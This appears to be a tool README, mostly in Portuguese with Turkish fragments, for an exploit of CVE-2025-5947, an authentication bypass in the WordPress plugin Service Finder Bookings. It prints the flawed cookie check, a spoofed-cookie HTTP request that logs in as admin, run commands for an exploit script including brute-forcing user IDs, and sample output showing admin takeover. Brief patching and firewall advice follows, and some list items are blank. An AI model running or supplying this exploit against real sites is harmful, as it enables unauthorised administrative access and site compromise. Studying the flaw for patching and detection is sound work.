
CVE-2025-5947 WordPress Service Finder Bookings ≤ 6.0 Exploit
Exploit do CVE-2025-5947 WordPress Service Finder Bookings ≤ 6.0
Ferramenta de exploit para a vulnerabilidade de bypass de autenticação no plugin WordPress Service Finder Bookings ≤ 6.0
Service Finder Bookings é um plugin WordPress que possui uma vulnerabilidade crítica de bypass de autenticação nas versões 6.0 e anteriores.
Atacantes não autenticados podem:
A função service_finder_switch_back() possui validação insuficiente de cookie:
// Güvenli olmayan kod
if(isset($_COOKIE['original_user_id'])) {
$user_id = $_COOKIE['original_user_id'];
wp_set_current_user($user_id);
// Doğrulama yok!
}
GET /wp-admin/admin-ajax.php?action=service_finder_switch_back HTTP/1.1
Host: target.com
Cookie: original_user_id=1
Características do Ataque:
git clone https://github.com/xxconi/CVE-2025-5947.git
cd CVE-2025-5947
pip install -r requirements.txt
python exploit.py -u http://target.com
# Yardım göster
python exploit.py -h
# Admin (ID=1) olarak giriş dene
python exploit.py -u http://target.com
# Belirli kullanıcı ID'si ile
python exploit.py -u http://target.com -i 5
# Brute force (ID 1-10)
python exploit.py -u http://target.com -b 1-10
# SSL doğrulaması olmadan
python exploit.py -u http://target.com --no-ssl-verify
# Özel timeout ile
python exploit.py -u http://target.com -t 30
python exploit.py -u http://wordpress.local
Saída:
============================================================
CVE-2025-5947 Service Finder Bookings Exploit
Authentication Bypass via Cookie Spoofing
============================================================
✅ Service Finder Bookings eklentisi bulundu
🔍 Kullanıcı ID 1 ile giriş denemesi yapılıyor...
📊 HTTP Status: 302
📋 Response Headers:
Location: http://wordpress.local/wp-admin/
Set-Cookie: wordpress_logged_in_abc123=...
✅ BAŞARILI! Admin olarak giriş yapıldı!
📍 Yönlendirme: http://wordpress.local/wp-admin/
python exploit.py -u http://target.com -b 1-20
Saída:
🔄 Brute Force Başlıyor (20 kullanıcı)...
✅ Kullanıcı ID 1: BAŞARILI
❌ Kullanıcı ID 2: Başarısız
✅ Kullanıcı ID 3: BAŞARILI
...
✅ Başarılı Kullanıcılar: [1, 3, 5]
python exploit.py -u https://target.com --no-ssl-verify
Um exploit bem-sucedido inclui os seguintes indicadores:
✅ Código de resposta HTTP 301 ou 302
✅ Presença de /wp-admin/ no cabeçalho Location
✅ Presença de wordpress_logged_in_ no cabeçalho Set-Cookie
Esta ferramenta deve ser usada apenas para:
O autor não se responsabiliza pelo uso indevido.
Atualização Imediata
# WordPress admin panelinden güncelle
# veya WP-CLI ile
wp plugin update sf-booking
Desativar o Plugin
wp plugin deactivate sf-booking
Remover o Plugin
wp plugin delete sf-booking
Web Application Firewall (WAF)
Block: /wp-admin/admin-ajax.php?action=service_finder_switch_back
Verificação de Segurança
Para relatar erros ou sugerir melhorias:
git checkout -b feature/improvement)git commit -am 'Add improvement')git push origin feature/improvement)Licença MIT - Consulte o arquivo LICENSE para obter detalhes
Pesquisador de Segurança
⭐ Se achou útil, dê uma estrela!
| Recurso | Valor |
|---|
| CVE ID | CVE-2025-5947 |
| Plugin | Service Finder Bookings (sf-booking) |
| Versão Afetada | ≤ 6.0 |
| Gravidade | 🔴 CRÍTICA |
| Pontuação CVSS | 9.8 |
| CWE | CWE-639 (Authorization Bypass) |
| Pontuação EPSS | 0.617 (percentil 98.357) |
| Data de Publicação | 2025 |
| Parâmetro | Abreviação | Descrição | Padrão |
|---|
--url | -u | URL alvo (obrigatório) | - |
--user-id | -i | ID do usuário | 1 |
--brute-force | -b | Intervalo de brute force (1-10) | - |
--no-ssl-verify | - | Desativar verificação SSL | False |
--timeout | -t | Timeout da solicitação (segundos) | 10 |